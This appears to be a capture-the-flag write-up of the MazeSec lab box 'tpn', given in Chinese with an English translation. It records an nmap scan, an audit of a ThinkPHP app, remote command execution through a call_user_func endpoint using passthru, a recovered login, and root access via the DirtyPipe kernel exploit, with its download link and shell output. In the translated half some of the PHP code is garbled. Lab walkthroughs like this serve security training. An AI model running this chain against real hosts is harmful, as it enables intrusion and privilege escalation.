mazesec tpn
信息收集
# Nmap 7.95 scan initiated Sun Dec 14 16:23:57 2025 as: /usr/lib/nmap/nmap --privileged -sV -sC -v -oN 192.168.110.38.nmap 192.168.110.38
Nmap scan report for 192.168.110.38
Host is up (0.00093s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
8080/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-favicon: Unknown favicon MD5: AEE698715B7790C59A995DDB20C8625E
| http-methods:
| Supported Methods: GET POST PUT DELETE HEAD OPTIONS
|_ Potentially risky methods: PUT DELETE
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-git:
| 192.168.110.38:8080/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Remotes:
|_ https://github.com/LSP1025923/thinkphp.git
|_http-title: Thinkphp5
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:95:3F:EA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 14 16:24:03 2025 -- 1 IP address (1 host up) scanned in 6.80 seconds
漏洞分析
代码审计
$ less config/app.php
# 应用映射(自动多应用模式有效)
'app_map' => ["think"=>"admin"], # 要搜索/admin就要搜索/think
'domain_bind' => []
既然有路由我们就可以查看网址有哪些
$ grep -r 'Route::'
app/admin/route/app.php:Route::rule("sb/:a/:b","Admin/hello"); //我想给这块设置路由方便你们渗透的,不知道为什么我这个路由是无效的 # 这很奇怪
查看Admin.php
<?php
namespace app\\admin\\controller;
use app\\BaseController;
use app\\middleware\\Check1; //这有一个检查
class Admin extends BaseController
{
protected $middleware =["Check1"];
public function hello($a,$b)
{
[call_user_func](https://www.php.net/manual/zh/function.call-user-func.php)($b, $a); #这是一个函数,使用$b($a)
}
}
根据路由规则http://192.168.110.38:8080/think/Admin/hello?a=&b=
查看Check1
<?php
declare (strict_types = 1);
namespace app\\middleware;
use think\\Response;
use think\\facade\\Session;
class Check1
{
/**
* 处理请求
*
* @param \\think\\Request $request
* @param \\Closure $next
* @return Response
*/
public function handle($request, \\Closure $next)
{
//
if ((Session::get("sb")==Session::get("token")&&!empty(Session::get("sb"))&&!empty(Session::get("token")))){ # 检查是否有参数且sb=token才放行
return $next($request);
}
else{
echo Session::get("sb");
echo "<br>";
echo Session("token");
return response("虽然我是新手,但是懂的一点token验证什么的");
}
}
}
我们看一下哪里设置了sb参数grep -r "Session::set" —> app/index/controller/Token.php
<?php
namespace app\index\controller;
use app\BaseController;
use think\facade\Session;
class Token extends BaseController
{
public function token()
{
$message = "请输入成员名称获取令牌";
if (input("post.sb") == "admin") { #传入admin获得一个token用于验证http://192.168.110.38:8080/think/Admin/hello?a=&b=
$sb = $this->request->buildToken("token", "sha1");
Session::set("sb", $sb);
$message = "获取成功: " . $sb;
} elseif (input("post.sb") !== null) {
$message = "你是猪脑袋嘛,都明摆着了";
}
这个网址根据路由是http://192.168.110.38:8080/index/token/token

此时我们转到http://192.168.110.38:8080/think/Admin/hello?a=id&b=[passthru](https://www.php.net/manual/zh/function.passthru.php)
利用
http://192.168.110.38:8080/think/Admin/hello?a=payload&b=[passthru](https://www.php.net/manual/zh/function.passthru.php)
在/home/welcome中发现.pwd ,在本地跑一下得到凭据welcome:eecho
权限提升
运行linpeas.sh得到
[+] [CVE-2022-0847] DirtyPipe
Details: https://dirtypipe.cm4all.com/
Exposure: less probable
Tags: ubuntu=(20.04|21.04),debian=11
Download URL: https://haxx.in/files/dirtypipez.c
编译好程序后
welcome@tpN:~$ ./test
Usage: ./test SUID
welcome@tpN:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
welcome@tpN:~$ ./test /usr/bin/sudo
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),1000(welcome)
经验教训
没仔细查看route路由,花费了大量时间
mazesec tpn
Information Gathering
# Nmap 7.95 scan started on Sunday, December 14, 2025, at 16:23:57, as follows:
# /usr/lib/nmap/nmap --privileged -sV -sC -v -oN 192.168.110.38.nmap 192.168.110.38
Nmap scan report for 192.168.110.38
The host is up (latency: 0.00093 seconds).
998 closed TCP ports were not displayed (they were reset).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (Protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
8080/tcp open http Apache httpd 2.4.62 (Debian)
|_http-server-header: Apache/2.4.62 (Debian)
|_http-favicon: Unknown favicon MD5: AEE698715B7790C59A995DDB20C8625E
| http-methods:
| Supported methods: GET, POST, PUT, DELETE, HEAD, OPTIONS
|_ Potentially risky methods: PUT, DELETE
| http-cookie-flags:
| /:
| PHPSESSID:
|_ The httponly flag is not set
| http-git:
| 192.168.110.38:8080/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file ‘description’ to name it...
| Remotes:
|_ https://github.com/LSP1025923/thinkphp.git
|_http-title: Thinkphp5
|_http-open-proxy: The proxy might be redirecting requests
MAC Address: 08:00:27:95:3F:EA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Data files were read from: /usr/share/nmap
Service detection completed. Please report any incorrect results at https://nmap.org/submit/.
# Nmap completed on Sunday, December 14, 2025, at 16:24:03 — 1 IP address (1 host up) was scanned in 6.80 seconds
Vulnerability Analysis
Code Audit
$ less config/app.php
Application Mapping (valid for automatic multi-application mode)
'app_map' => ["think"=>"admin"], # To search for "admin", you need to search for "think"
'domain_bind' => []
Since we have the routing configuration, we can check what URLs are available:
```bash
$ grep -r 'Route::'
app/admin/route/app.php:Route::rule("sb/:a/:b","Admin/hello"); // I wanted to set up this route for your penetration testing purposes, but for some reason, it doesn't work. That's strange.
Let’s take a look at the Admin.php file:
<?php
namespace app\\admin\\controller;
use app\\BaseController;
use app\\middleware\\Check1; // This is a middleware component
class Admin extends BaseController
{
protected $middleware = ["Check1"];
public function hello($a, $b)
{
[call_user_func](https://www.php.net/manual/zh/function.call-user-func.php)($b, $a); // This is a function that uses $b and $a as parameters
}
}
According to the routing rule http://192.168.110.38:8080/think/Admin/hello?a=&b=:
Why isn’t it
http://192.168.110.38:8080/think/Admin/hello/a(parameter)/b(parameter)?
The reason is that there’s a rule in the
config/route.phpfile:
/Default routing variable rule:'default_route_pattern' => '[1-9]',The variable can only contain digits from 1 to 9.
Now let’s examine the Check1 middleware component:
<?php
declare (strict_types = 1);
namespace app\\middleware;
use think\\Response;
use think\\facade\\Session;
class Check1
{
/**
* Handles requests
*
* @param \\think\\Request $request
* @param \\Closure $next
* @return Response
*/
public function handle($request, \\Closure $next)
{
//
if ((Session::get("sb") == Session::get("token") && !empty(Session::get("sb")) && !empty(Session::get("token")) { // Only allows access if "sb" equals "token" and both are not empty
return $next($request);
}
else {
echo Session::get("sb");
echo "<br>";
echo Session("token");
return response("Although I’m new, I understand some basics about token validation.");
}
}
}
Let’s find where the sb parameter is set: grep -r "Session::set" —> app/index-controller/Token.php
<?php
namespace app\index\controller;
use app\BaseController;
use think\facade\Session;
class Token extends BaseController { public function token() { message = "Please enter a member name to obtain a token."; if (input("post.sb") == "admin") { // Passing 'admin' as a parameter to generate a token for verification at http://192.168.110.38:8080/think/Admin/hello?a=&b= sb = sb); sb; } elseif (input(“post.sb”) !== null) { $message = “You must be really stupid to not understand this obvious requirement.”; } } }
The corresponding URL for this functionality is http://192.168.110.38:8080/index/token/token.

At this point, we navigate to http://192.168.110.38:8080/think/Admin/hello?a=id&b=[passthru](https://www.php.net/manual/zh/function.passthru.php)
Exploitation
http://192.168.110.38:8080/think/Admin/hello?a=payload&b=[passthru](https://www.php.net/manual/zh/function.passthru.php)
The .pwd file was found in the /home/welcome directory; executing it locally yielded the password welcome:eecho.
Privilege Escalation
Running linpeas.sh revealed the following information:
[+] [CVE-2022-0847] DirtyPipe
Details: https://dirtypipe.cm4all.com/
Exposure: Less probable
Tags: ubuntu=(20.04|21.04), debian=11
Download URL: https://haxx.in/files/dirtypipez.c
After compiling the program:
welcome@tpN:~$ ./test
Usage: ./test SUID
welcome@tpN:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
welcome@tpN:~$ ./test /usr/bin/sudo
[+] Hijacking the SUID binary..
[+] Dropping the SUID shell..
[+] Restoring the SUID binary..
[+] Obtaining root access shell.. (Don’t forget to clean up /tmp/sh;))
Lessons Learned
I didn’t carefully check the route table, which cost me a lot of time.